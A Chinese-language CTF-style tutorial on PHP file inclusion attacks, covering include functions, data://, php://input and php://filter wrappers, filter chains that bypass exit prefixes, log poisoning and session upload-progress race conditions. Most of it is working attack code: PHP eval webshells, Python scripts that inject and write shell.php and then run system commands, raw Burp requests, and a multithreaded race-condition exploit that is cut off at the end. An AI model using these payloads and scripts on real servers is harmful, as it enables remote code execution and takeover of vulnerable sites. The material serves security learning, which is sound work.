废话不多说直接开始讲
函数 这个是文件包含基础,在函数这个板块我们了解的主要是文件包含相关的函数
主要有两大类:文件包含函数(四小只),文件系统函数
在这里先了解一下四小只文件包含函数
文件包含函数有四小只是哪四小只呢?
1 include 、require 、include_once 、require_once
1 2 3 4 5 6 7 8 9 10 11 12 PHP文件包含函数有以下四种: include inclued_once require require_oncerequire () /require_once ():如果在包含过程中有错,那么直接退出,不执行进一步操作。include () /include_once (): 如果在包含过程中出错,只会发出警告 加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含 当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析(注意这句话的意思,这个的意思是文件里面的内容需要使用php的标签包裹住)
include 在这里我们介绍其中的第一个include函数
这里我们可以做一个实验
1.php
1 <?php @eval ($_POST ['cmd' ]);?>
index.php
1 2 3 4 <?php include '1.php' ;echo "成功包含" ;?>
可以发现是可以执行webshell的
可以试一试这个函数的一个特性,包含不存在的文件的时候报错,不影响下一步
可以发现可以执行echo
还有一个特性(只要文件的内容是php代码,就可以执行)可以试一试,在同一个目录下面写入文件
phpinfo.txt
index.php
1 2 3 <?php include "phpinfo.txt" ;?>
require 1.php
还是使用上面那个文件
index.php
文件修改为
1 2 3 4 <?php require '1.php' ;echo "成功包含" ;?>
发现还是可以执行
还可以试一试这个函数遇到没有的文件包含会直接报错不会,执行下一步
index.php
1 2 3 4 <?php require "2.php" ;echo 123 ;?>
执行不了
include_once 用法还是那个用法
这里试一试他的特性,遇到包含过的函数是不会再一次包含的
1 2 3 4 5 <?php include_once "1.php" ;include_once "1.php" ;echo 123 ;?>
可以注意到这个还是可以使用的,这个时候我们可以知道,这个只是不会使用两个1.php
但是遇到包含两次是不会报错的
require_once 使用方法都是一样的
在这里就跳过了
file_get_contents index.php
1 2 3 4 <?php $file = file_get_contents ("1.php" );echo $file ;?>
这个函数是可以将文件内容赋值给变量
这样就可以输出文件内容了
注意,当我们包含的文件是php代码的时候,需要查看文件源代码才能看到
file_put_contents index.php
1 2 3 4 5 <?php $file = $_GET ['file' ];$data = $_GET ['data' ];echo file_put_contents ($file ,$data );?>
传入参数
1 ?file =3. php&data =woshishui
可以发现输出的是写入内容的数字
readfile index.php
1 2 3 4 <?php echo readfile ('1.php' );echo readfile ('1.txt' );?>
这个函数是可以读取文件内容的函数,返回的内容是文件的字符数量
注意当文件内容是php代码的时候,我们得使用查看源代码才能看到
php伪协议 在细致的讲php伪协议之前我们先大致的了解一下
1 2 3 4 5 6 7 8 9 10 11 12 file: http: ftp: php: zlib: data: glob: phar: ssh2: rar: ogg: expect:
上面这些是php所支持的伪协议
下面有一个图片可以形象的说明了伪协议的利用以及利用条件
接下来就开始讲各个伪协议的使用方法
file:// 基本的使用方法
1 2 3 4 <?php $file = $_GET ['file' ]include $file ;?>
注意使用这个一定要绝对路径
可以这样发包
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php/' data = {'file' :'file://C:/phpstudy_pro/WWW/include/include/1.txt' } r = requests.get(url, params=data)print (r.text)
但是如果我们使用相对路径是使用不了的
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php/' data = {'file' :'file://./1.txt' } r = requests.get(url, params=data)print (r.text)
data:// data伪协议是将我所执行的内容当做文件内容传给include等包含函数
这个伪协议是可以直接执行php代码的
在实验之前我们需要配置一下php.ini文件
1 2 allow_url_fopen = On allow_url_include = On
我们可以自己实验一下,主要是感受data伪协议是怎么将我们输入的内容当做文件内容的
1 2 3 4 5 6 7 8 <?php $file1 = $_GET ['file1' ];$file2 = $_GET ['file2' ];if (file_get_contents ($file1 ) == 'nihao' ) { include $file2 ; }?>
可以知道这个的条件是如果$file1的内容是nihao则包含$file2
于是可以这样构造python代码
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php/' data = {'file1' :'data://text/plain,nihao' ,'file2' :'1.txt' } r = requests.get(url, params=data)print (r.text)
这个例子就很好的知道了我们是可以控制文件内容了
data://伪协议有两种格式,一种是明文一种是base64
data://明文 基本结构
关键注意: text/plain:表示传递的是 “纯文本数据”; PHP 代码中的特殊字符(如空格、&、=)必须 URL 编码(比如空格编码成%20);
于是开始测试一下
在服务端的代码是
1 2 3 4 <?php $file = $_GET ['file' ];include $file ;?>
然后使用攻击的代码执行
1 2 3 4 5 6 import requests url = 'http://192.168.8.140:8899/include/1.php' data = {'file' : 'data://text/plain,<?php phpinfo();?>' } r = requests.get(url, params=data)print (r.text)
虽然这个也可以获得phpinfo但是最好还是使用URL编码之后的结果
1 2 3 4 5 6 import requests url = 'http://192.168.8.140:8899/include/1.php' data = {'file' : 'data://text/plain,%3C%3Fphp%20phpinfo%28%29%3B%3F%3E' } r = requests.get(url, params=data)print (r.text)
所以响应的使用的data是可以执行php代码的
exp如下:
1 2 3 4 5 6 7 8 9 import requests url = 'http://192.168.8.140:8899/include/1.php' data = {'file' : 'data://text/plain,%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E' } r = requests.get(url, params=data) url_exp = r.url payload = {'cmd' :'system("whoami");' } x = requests.post(url_exp, data=payload)print (x.text)
接下来就是介绍另外一种方式实现data伪协议
data://base64 可以发现这个就是比普通的plain多了一个;base64
基本的使用方法
服务端还是使用上面那个代码
于是攻击的python代码也就出来了
1 2 3 4 5 6 7 8 9 import requests url = 'http://192.168.8.140:8899/include/1.php' data = {'file' : 'data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4' } r = requests.get(url, params=data) x = r.url payload = {'cmd' :'system("whoami");' }print (requests.post(x, data=payload).text)
使用这个方法有一个地方是需要注意的
因为这个代码有限制使用=和+,所以我们在bypass的时候,可以这样操作
根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别
如果遇到+可以在代码后面加随便的字符
在这里就要讲一个经典的例题
1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['file' ])){$file = $_GET ['file' ];if (preg_match ("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i" , $file )){die ("error" ); }include ($file ); }else {highlight_file (__FILE__ ); }
对于这个代码就很清晰了,过滤了
1 2 php|~ |! |@ |# |$ |% |^ |& |* | ( |) |- |_ |+ |= |.
需要绕过,首先想到的是使用data伪协议
值得注意的是这个代码里面过滤了=,所以我们在进行base64编码的时候要删掉=
如果这个时候我们想使用的payload是
怎么操作呢
<?php eval($_POST['monica']);?>这个base64编码之后的结果是PD9waHAgZXZhbCgkX1BPU1RbIm1vbmljYSJdKTs/Pg==
base64是当要编码的字符不满足4的倍数的时候会把少的字符填充为=等于号
有两个=我在后面添加两个随便的字符是可以让=消失的
于是又了exp如下
1 2 3 4 5 6 7 8 9 10 11 import requestsimport base64 url = 'http://192.168.8.140:8899/include/1.php' php = '<?php eval($_POST["monica"]);?>aa' php_base64 = base64.b64encode(php.encode()).decode()print (php_base64) data = {'file' : 'data://text/plain;base64,' +php_base64} r = requests.get(url, params=data) x = r.url payload = {'monica' :'system("whoami");' }print (requests.post(x, data=payload).text)
现在我们开始来到了另外的一个伪协议php://input
php://input 是 PHP 的内置伪协议(不是真实文件),它的核心作用是:读取 POST 请求的原始数据(不经过 PHP 解析)
使用可以把POST 请求发过来的原始数据直接读取到
如果只是需要读取数据的话allow_url_include = Off就可以了,但是我相信ctfer更愿意后者,执行代码allow_url_include = On
为什么可以使用这个进行文件包含
php://input 是 PHP 的内置伪协议,它并非指向真实文件,而是直接映射到本次 HTTP 请求的 POST 原始数据体(非 GET 参数,也非表单键值对的解析后数据)。当把 php://input 作为 “文件名” 传给包含函数时,PHP 会把 POST 原始数据当作 “文件内容” 读取,进而解析执行其中的 PHP 代码 —— 相当于跳过了读取服务器本地文件的步骤,直接让 PHP 执行你通过 POST 提交的任意代码。
在详细的讲使用之前我们先看看注意事项
enctype=”multipart/form-data” 时使用php://input是无效的
enctype 是 HTML 表单的属性,用来指定表单数据提交的编码方式,一共有四种方式
application/x-www-form-urlencoded:默认值,普通表单提交(键值对);
multipart/form-data:用于上传文件(比如<input type="file">),数据会被分割成 “块” 传输。
为什么这种编码下 php://input 无效? PHP 的设计规则: 当 POST 请求的Content-Type是multipart/form-data(即表单设了enctype="multipart/form-data“)时,PHP 会把 POST 数据解析到$_FILES/$_POST中,同时清空 php://input 的内容; 此时读取php://input会得到空字符串,自然无法执行你提交的代码。
不过还好的是在请求的时候默认使用的是
application/x-www-form-urlencoded
依旧来一个漏洞页面
1 2 3 4 <?php $file = $_GET ['file' ];include $file ;?>
执行
1 2 3 4 5 6 7 import requestsimport base64 url = 'http://192.168.8.140:8899/include/1.php' payload1 = {'file' :'php://input' } headers = {'Content-Type' : 'application/x-www-form-urlencoded' } r = requests.get(url, params=payload1)print (requests.post(r.url,headers=headers,data='<?php system("whoami");?>' ).text)
扩大危害方面可以写入一个木马
1 <?php fputs (fopen ('shell.php' ,'w' ),'<?php @eval($_GET[cmd]); ?>' ); ?>
这里其实不需要执行headers,在这里我只是为了明确注意事项而已
在这里还有一个注意事项,我们在使用hackerbar浏览器插件的时候,是不能使用这个方法的
因为使用这个工具的话他会自己进行URL编码,导致破坏原本的文件结构,导致命令执行不了
而且hackbar使用的时候,使用post提交这个功能是不能直接传没有变量的参数的
所以我们还是使用python或者是curl命令或者使用burp
php://filter 大概的介绍 现在来到最后一个经常使用的伪协议php://filter
这个伪协议十分的重要,主要的功能是可以转换编码等各种操作
使用方法
过滤器有多少种形式呢?
接下来就看php://filter到底有多少种使用方法
先大致的看一看有多少种使用方法之后再细将分别的功能
注意一下没有read和writer的时候默认是read
字符串过滤器(这个有三种)
第一种rot13编码
第二种大写或者小写
第三种去除html、PHP语言标签
转换过滤器(这个有三种)
第一种base64(有解码和编码)
1 2 3 4 5 6 7 8 php: php: php: php: php: php:
第二种字符编码转换器
形式
举一个例子
第三种电子邮件设计的编码
压缩过滤器 (了解即可)
刚刚我们大致的已经了解了这些过滤器长什么样子,现在开始细致的讲这些过滤器的使用方法
string.rot13 服务端1.php
1 2 3 4 <?php $file = $_GET ['file' ];include $file ;?>
使用python攻击
1 2 3 4 5 6 7 8 import requestsimport codecs url = 'http://192.168.8.140:8899/include/1.php' payload = {'file' :'php://filter/string.rot13/resource=1.txt' } r = requests.get(url, params=payload)print (codecs.decode(r.text,'rot_13' ))
这里有一个值得关注的问题,当我们要读取的文件如果是php结构的代码怎么办?可以读取吗?
我们修改1.txt文件的内容
1 2 3 4 <?php $flag = 'woshi flag' ;echo $file ;?>
然后我们继续读取
使用python代码
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php' payload = {'file' :'php://filter/string.rot13/resource=1.txt' } r = requests.get(url, params=payload)print (r.text)
返回的结果是
1 2 <br /> <b>Parse error </b>: syntax error , unexpected T_VARIABLE in <b>C:\phpstudy_pro\WWW\include \include \1.txt</b> on line <b>2</b><br />
显示的是一个语法报错为什么呢?因为rot13只对26个英文字母操作,所以短标签?>是不会转化的
如果我们将1.txt文件里面的内容改为
1 2 3 4 <?c uc$synt = 'jbfuv synt' ; rpub $synt ;?>
然后再读取
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php' payload = {'file' :'php://filter/read=string.rot13/resource=1.txt' } r = requests.get(url, params=payload)print (r.text)
就可以得到flag了
下面还有一个例子也是可以体现rot13的魅力,可以绕过限制
看到服务端的代码
1 2 3 4 5 6 7 8 9 <?php $file = $_GET ['file' ];$data = file_get_contents ($file );if (preg_match ('/flag/' ,$data )){ echo 'nonono' ; }else { include $file ; }?>
1.txt里面的内容是
1 flag = {niahodfaohdfniahoehf}
执行
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php' payload = {'file' :'php://filter/read=string.rot13/resource=1.txt' } r = requests.get(url, params=payload)print (r.text)
即可
接下来体验一下使用writer的用法
看到服务端的代码
1 2 3 4 5 6 7 8 9 10 <?php $file = $_GET ['file' ];$data = $_POST ['data' ];file_put_contents ($file ,"hahaha,hacker?" .$data );if (preg_match ('/hacker/' ,file_get_contents ($file ))){ die ('hhhhhhh' ); }else { echo 'good' ; }?>
看各位能不能只使用rot13绕过一下
1 2 3 4 5 6 import requests url = 'http://192.168.8.140:8899/include/1.php' payload = 'php://filter/write=string.rot13/resource=shell.php' webshell = '<?cuc @riny($_CBFG["pzq"]); ?>' print (requests.post(url,params={'file' :payload}, data={'data' :webshell}).text)print (requests.post('http://192.168.8.140:8899/include/shell.php' ,data={'cmd' :'system("whoami");' }).text)
使用这个python代码是可以执行的
这个时候就是使用rot13的write方法
这个的灵感来自于php://filter 的死亡绕过,但是使用rot13是绕过不了死亡函数的原因还是上面的那个原因,rot13编码改变不了<>符号
convert.base64 来到了base64了
基本的使用方法
服务端的代码如下
1 2 3 4 <?php $file = $_GET ['file' ];include $file ;?>
执行python
1 2 3 import requests url = 'http://192.168.8.140:8899/include/1.php' print (requests.get(url,params={'file' :'php://filter/convert.base64-encode/resource=flag.txt' }).text)
得到flag
再看到另外一个服务端的代码
1 2 3 4 5 6 7 8 9 <?php $file = $_GET ['file' ];$waf = file_get_contents ($file );if (preg_match ('/flag/' ,$waf )){ die ('hhhhh' ); }else { echo ($waf ); }?>
执行python
1 2 3 4 5 import requestsimport base64 url = 'http://192.168.8.140:8899/include/1.php' en = requests.get(url,params={'file' :'php://filter/convert.base64-encode/resource=flag.txt' }).textprint (base64.b64decode(en.encode()).decode())
依然可以绕过
接下来就可以看到著名的死亡绕过
服务端的代码如下
1 2 3 4 5 <?php $file = $_GET ['file' ];$data = $_POST ['data' ];file_put_contents ($file ,"<?php die('hhhhhhh') ?>" .$data );?>
不难想到可以这样写
1 2 3 4 5 6 7 8 9 10 11 import requestsimport base64 payload = 'aaa' +base64.b64encode("<?php eval($_POST['cmd']); ?>" .encode()).decode()print (payload) url = 'http://192.168.8.140:8899/include/1.php' r = requests.post(url,params={'file' :'php://filter/write=convert.base64-decode/resource=shell.php' },data={'data' :payload})print (r.text)print (requests.post('http://192.168.8.140:8899/include/shell.php' ,data={'cmd' :'system("whoami");' }).text)
我们先将一句话<?php eval($_POST['cmd']); ?>进行base64编码,得到结果之后在前面加aaa,加aaa的目的是为了和<?php die('hhhhhhh')?>凑成不影响后面一句话base64解码的语句
使用这个python代码可以感受一下
1 2 3 4 5 6 7 8 import base64 data = "<?php die('hhhhhhh') ?>" payload = "<?php eval($_POST['cmd']); ?>" payload_en = 'aaa' + base64.b64encode(payload.encode()).decode() x = data + payload_enprint (x) x_de = base64.b64decode(x)print (x_de)
还有一种是可以执行任意命令的
首先看到服务端的代码
1 2 3 4 5 6 <?php $file = $_GET ['file' ];readfile ($file );echo '<br>' ;include $file ;?>
发现里面有两个文件读取函数,这下我们看raedfile函数与include函数能不能执行命令
1 2 3 4 5 6 7 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.post(url,params={'file' :'php://filter/convert.base64-decode/resource=php://input' },data='PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==' )print (r.request.url)print (r.request.body)print (r.text)
执行这个可以发现输出的结果是
1 2 3 http ://192.168.8.140:8899 /include/1 .php?file=php%3 A%2 F%2 Ffilter%2 Fconvert.base64-decode%2 Fresource%3 Dphp%3 A%2 F%2 FinputPD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs /Pg==<?php system("whoami" );?> <br> win -jkgn2kfimmk\administrator
只有include执行的任意命令,readfile则没有
convert.quoted 这种编码的规则如下
1 2 ASCII 字符保持不变 非 ASCII 字符和特殊字符编码为 =XX
实验一下
1 2 3 4 <?php $data = "你好,世界! Hello, World!" ;file_put_contents ('php://filter/write=convert.quoted-printable-encode/resource=3.php' , $data );?>
看到3.php文件里面的内容如下
1 =E4 =BD=A0 =E5 =A5 =BD=EF=BC=8 C=E4 =B8 =96 =E7 =95 =8 C=EF=BC=81 Hello, World!
所以说这个编码实际利用起来还是很有局限的
但是这个又有一个额外的操作,请不要眨眼,一步一步的跟我做
服务端的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $file = $_GET ['file' ];$data = $_POST ['data' ];echo $data ;$hello_data = '你好ctfer' .$data ;echo $hello_data ;file_put_contents ($file ,$hello_data );if (preg_match ('/你好ctfer/' ,file_get_contents ($file ))){ file_put_contents ('test.txt' , '' ); }else { echo 'good' ; }?>
这个代码就是一个需要绕过判定字符的机制
很简单,于是我们使用python
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.post(url,params={'file' :'php://filter/write=convert.quoted-printable-encode/resource=shell.php' },data={'data' :'<?php @system($_GET["cmd"]);?>' })print (r.text)
执行但是这个时候会发现一个现象
注意看,输出结果
1 2 <?php @system ($_GET ["cmd" ]);?> ä½ å¥½ctfer <?php @system ($_GET ["cmd" ]);?> <br /> <b > Fatal error</b > : Allowed memory size of 268435456 bytes exhausted (tried to allocate 343932928 bytes) in <b > C:\phpstudy_pro\WWW\include\include\1.php</b > on line <b > 7</b > <br />
有内存过大的报错,为什么????
哈哈哈肯定是有原因的
1 https ://deb.freexian.com/extended-lts/tracker/CVE-2024 -11233
看到这个报告可以知道convert.quoted-printable-decode 过滤器在实现上的一个内存处理缺陷
通过这个报告我们可以知道这个内存溢出漏洞影响的版本还是很多的
于是我们可以这样设计题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include '3.php' ;register_shutdown_function (function() { $error = error_get_last (); if ($error && in_array ($error ['type' ], array (E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR))) { echo '捕获到致命错误:' . $error ['message' ]; global $flag ; echo $flag ; } });$file = $_GET ['file' ];$data = $_POST ['data' ];$hello_data = '你好ctfer' . $data ;echo $hello_data ;file_put_contents ($file , $hello_data );if (preg_match ('/你好ctfer/' , file_get_contents ($file ))) { file_put_contents ('test.txt' , '' ); } else { echo 'good' ; }?>
可以看到这个题目设计了一个异常处理,如果有错误我们就输出flag
于是使用convert.quoted-decode是可以直接执行的
1 2 3 4 5 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.post(url,params={'file' :'php://filter/write=convert.quoted-printable-encode/resource=shell.php' },data={'data' :'<?php @system($_GET["cmd"]);?>' })print (r.text)
至此convert.quoted就告一段落了
接下来还是一个重点(好像这个里面全是重点)
convert.iconv 现在来到了convert.iconv.转化器的殿堂
这种转化器叫做字符编码转化器
这个是重中之重
基本使用方法
convert.iconv.a.b 本质是「把字符编码从 a 转换成 b」,其中:
iconv:PHP 的字符编码转换函数(底层依赖 libiconv 库);
a:源编码(比如gbk、utf-8、gb2312);
b:目标编码(比如utf-8、gbk、utf-16);
格式要求:a和b之间用.分隔,编码名称不区分大小写(如GBK和gbk都可以)
这样的话我们的视野就很开阔了
在这里解释经常看到的一些字符
1 2 3 4 5 6 7 通用编码(必记):常见编码名称为 UTF-8 、GBK、GB2312、ASCII,实战价值高,是跨系统通用、解决中文乱码的核心编码; 宽字符编码:常见编码名称为 UCS-2 /4、UTF-16 /32(BE/LE),实战价值中,用于处理多字节字符(如 Windows 系统文件); 日系特殊编码:常见编码名称为 SJIS、EUC-JP、ISO-2022 -JP 等,实战价值极低,仅用于处理日文编码文件,国内几乎不用; 移动设备编码:常见编码名称为 UTF-8 -Mobile#DOCOMO 等,实战价值极低,仅适配日本运营商的移动设备编码。
下面这里看到一下可以使用到的字符编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 UCS-4 * UCS-4 BE UCS-4 LE* UCS-2 UCS-2 BE UCS-2 LE UTF-32 * UTF-32 BE* UTF-32 LE* UTF-16 * UTF-16 BE* UTF-16 LE* UTF-7 UTF7-IMAP UTF-8 * ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win* ISO-2022 -JP ISO-2022 -JP-MS CP932 CP51932 SJIS-mac(别名:MacJapanese) SJIS-Mobile SJIS-Mobile SJIS-Mobile UTF-8 -Mobile UTF-8 -Mobile UTF-8 -Mobile UTF-8 -Mobile ISO-2022 -JP-MOBILE
在这里主要有以下写法
先理解一下这个是啥我们不使用畸形字符,而是只改变编码方式理解一下
实验
1 2 3 4 <?php $file = $_GET ['file' ];include $file ;?>
使用下面这些方法都可以实现
1 2 3 4 5 6 ?file=convert.iconv.utf-8 .utf-16 /resource=flag.php ?file=convert.iconv.ASCII.utf-16 /resource=flag.php ?file=convert.iconv.ASCII.UCS-2 BE/resource=flag.php ?file=convert.iconv.utf-8 .utf-7 /resource=flag.php ?file=convert.iconv.ASCII.utf-7 /resource=flag.php ?file=convert.iconv.ASCII.utf-32 /resource=flag.php
在这个过程只是编码方式产生改变了,下面的死亡绕过就需要使用畸形字符构造绕过了
我们做一个实验
运行下面这个php代码
1 2 3 4 5 6 7 8 9 10 11 <?php $normal = '<?php eval($_POST[1]);?>' ;$normaled1 = iconv ('UCS-2BE' , 'UTF-8' , $normal );echo "第一步:{$normaled1} " ;$normaled2 = iconv ('UTF-8' , 'UCS-2LE' , $normaled1 );echo "畸形字符串:{$normaled2} " ; $normaled3 = iconv ('UCS-2LE' ,'UCS-2BE' ,$normaled2 );echo "变回来:{$normaled3} " ;?>
运行之后可以知道,UCS-2BE与UCS-2LE是可以相互转换的
但是这个代码的有一个不好理解的地方
为什么要让utf-8作为中转
因为
1 2 3 4 首先我们要得到得到畸形一句话 直接 UTF-8 →UCS-2 LE 只会改变编码格式,不会改变字符形态(还是正常木马) 使用iconv('UCS-2 BE', 'UTF-8 ', $normal) 不是真的把 UCS-2 BE 转 UTF-8 ,而是骗 iconv “按 UCS-2 BE 规则解析 UTF-8 的 $normal”,直接得到字节反转后的畸形 UTF-8 字符
是不是很不好理解,没错!至于为什么大家可以好好看上面的那句话
有一个简单的方法
使用下面这个php代码
1 2 3 4 5 6 7 <?php $a = '<?php eval($_POST[1]);?>' ;$b = iconv ('UCS-2BE' , 'UCS-2LE' , $a );echo $b ;?>
也是可以执行转化的
现在看是看看能不能绕过死亡函数
1 2 3 4 5 <?php $file = $_GET ['file' ];$data = $_POST ['data' ];isset ($file )&&isset ($data ) ? file_put_contents ($file , "<?php die('GAME OVER!') ?>" .$data ) :print ('gundan' );?>
使用这个代码即可
1 2 3 4 5 6 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.post(url,params={'file' :'php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php' },data={'data' :'?<hp pvela$(P_SO[T]1;)>?' })print (r.text)print (requests.post('http://192.168.8.140:8899/include/shell.php' ,data={'1' :'system("whoami");' }).text)
过滤器嵌套 什么是过滤器嵌套
还是filter,但是使用了两种过滤器
像这种
什么意思呢?很简单,就是先执行前面那个过滤器,再执行后面那个过滤器
来一个例子,依旧死亡函数绕过
1 2 3 4 5 <?php $file = $_GET ['file' ];$data = $_POST ['data' ];isset ($file )&&isset ($data ) ? file_put_contents ($file , "<?php die('GAME OVER!') ?>" .$data ) :print ('gundan' );?>
怎么办,很简单,思路就是执行
string.strip_tags是可以将短标签里面的内容全部清除的
先把短标签给清除,再使用base64解码写入,所以说我们的data的内容必然是base64编码之后的结果
执行下面这个代码
1 2 3 4 5 6 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.post(url,params={'file' :'php://filter/string.strip_tags|convert.base64-decode/resource=shell.php' },data={'data' :'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' })print (r.text)print (requests.post('http://192.168.8.140:8899/include/shell.php' ,data={'1' :'system("whoami");' }).text)
至此php伪协议就结束了
接下来就是将一些特定的漏洞场景
日志文件包含 这里主要讲的是这三个的日志文件包含Nginx与apache与ssh
这三者是差不多的,只需要知道他们各个的日志文件路径即可包含利用
1 2 3 4 5 6 7 8 9 nginx默认日志路径 /var /log /nginx/access.log apache默认日志路径 /var /log /apache2/access.log /var /log /httpd/access_log ssh默认日志路径 /var /log /auth.log
可以使用这个靶场phpinclude_lab:level_13和14
像这种过滤的东西很全的时候可以试一试这个漏洞
1 if (preg_match ("/file|http|ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect/i" , $file ))
使用如下python代码可以解决
1 2 3 4 5 6 import requests url = 'http://192.168.8.133:8116/' headers = {'User-Agent' : '<?php @eval($_POST[1]);?>' } r = requests.get(url, headers=headers)print (r.text)print (requests.post(url,params={'file' :'/var/log/nginx/access.log' },data={'1' :'system("ls");' }).text)
同理面对apache的时候也是可以使用的
1 2 3 4 5 6 import requests url = 'http://192.168.8.133:8117/' headers = {'User-Agent' : '<?php @eval($_POST[1]);?>' } r = requests.get(url, headers=headers)print (r.text)print (requests.post(url,params={'file' :'/var/log/apache2/access.log' },data={'1' :'system("whoami");' }).text)
下面介绍ssh日志包含
已知ssh日志路径/var/log/auth.log
我们执行这个
1 ssh " <?php @eval ($_POST [123 ]);?> "@192.168.8.133
可以在日志里面留下一个记录
然后包含就可以了
执行效果如下
session文件包含 日志结束之后就是session了
在linux里面session的默认路径如下
1 2 3 /var/ lib/sessions/ sess_{PHPSESSID} ○ CentOS:/var/ lib/php/ session; ○ Ubuntu:/var/ lib/php/ sessions
现在了解一下session文件包含的原理
session 文件的 “命名”(我们能控制的部分)
session 文件的命名规则是:sess_+PHPSESSID的值(比如 Cookie 里设置PHPSESSID=flag,文件就是sess_flag);
我们需要条件竞争
为什么需要使用条件竞争?
PHP 默认开启了session.upload_progress.cleanup = On—— 这个配置的作用是:一旦表单的 POST 数据被服务器读完,就会立刻删除生成的 session 文件 ;
简单说:session 文件 “生得快、死得也快”,我们必须在它被删除前,快速执行 “文件包含” 操作,这种 “抢时间” 的操作就是「条件竞争」(比如用脚本高频请求包含这个 session 文件,直到命中文件未被删除的瞬间)。
PHPSESSID是在cookie里面的
现在开始自己搭建环境,我使用的是win环境
服务端的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php session_start ();function hello_ctf ($file ) { include ($file ); }isset ($_GET ['file' ]) ? hello_ctf ($_GET ['file' ]) : '' ;highlight_file (__FILE__ );?>
我们现在使用burp无限发包
需要使用以下两个数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /include/1 .php?file=C:/phpstudy_pro/Extensions/tmp/tmp/sess_123 HTTP/1 .1 Host : phpsec:8000 Cache -Control: max-age=0 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537 .36 Edg/145.0.0.0 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Accept -Encoding: gzip, deflate, brAccept -Language: zh-CN,zh;q=0 .9 ,en;q=0 .8 ,en-GB;q=0 .7 ,en-US;q=0 .6 Cookie : PHPSESSID=123 Connection : keep-aliveContent -Length: 24 Content -Type: application/x-www-form-urlencodedcmd =system('whoami');
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /include/1.php HTTP/1.1 Host : phpsec:8000Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : PHPSESSID=123Connection : keep-aliveContent-Length : 417Content-Type : multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <?php fputs (fopen ('shell.php' , 'w' ), '<?php @eval($_POST["cmd"]); ?>' ); ?> ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file" ; filename="q.txt" Content-Type: text/plain aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ------WebKitFormBoundary7MA4YWxkTrZu0gW--
有没有优雅一点的方式有!使用python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import ioimport timeimport requestsimport threading sessid = 'Qftm' url = 'http://192.168.8.140:8899/include/1.php' session_file = f'C:/phpstudy_pro/Extensions/tmp/tmp/sess_{sessid} ' malicious_code = "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[\"cmd\"]);?>');?>" def post_worker (): """单个 POST 线程的工作函数""" session = requests.Session() while True : try : f = io.BytesIO(b'a' * 1024 * 200 ) session.post( url, data={"PHP_SESSION_UPLOAD_PROGRESS" : malicious_code}, files={"file" : ('q.txt' , f)}, cookies={'PHPSESSID' : sessid}, timeout=3 ) except : pass def read_worker (): """单个 READ 线程的工作函数""" session = requests.Session() while True : try : r = session.get(url, params={'file' : session_file}, cookies={'PHPSESSID' : sessid}, timeout=3 ) if 'shell.php' in r.text: print ('[!] 成功写入 shell.php!' ) except : pass if __name__ == '__main__' : for _ in range (20 ): t = threading.Thread(target=post_worker) t.daemon = True t.start() for _ in range (10 ): t = threading.Thread(target=read_worker) t.daemon = True t.start() print ('已启动所有线程,按 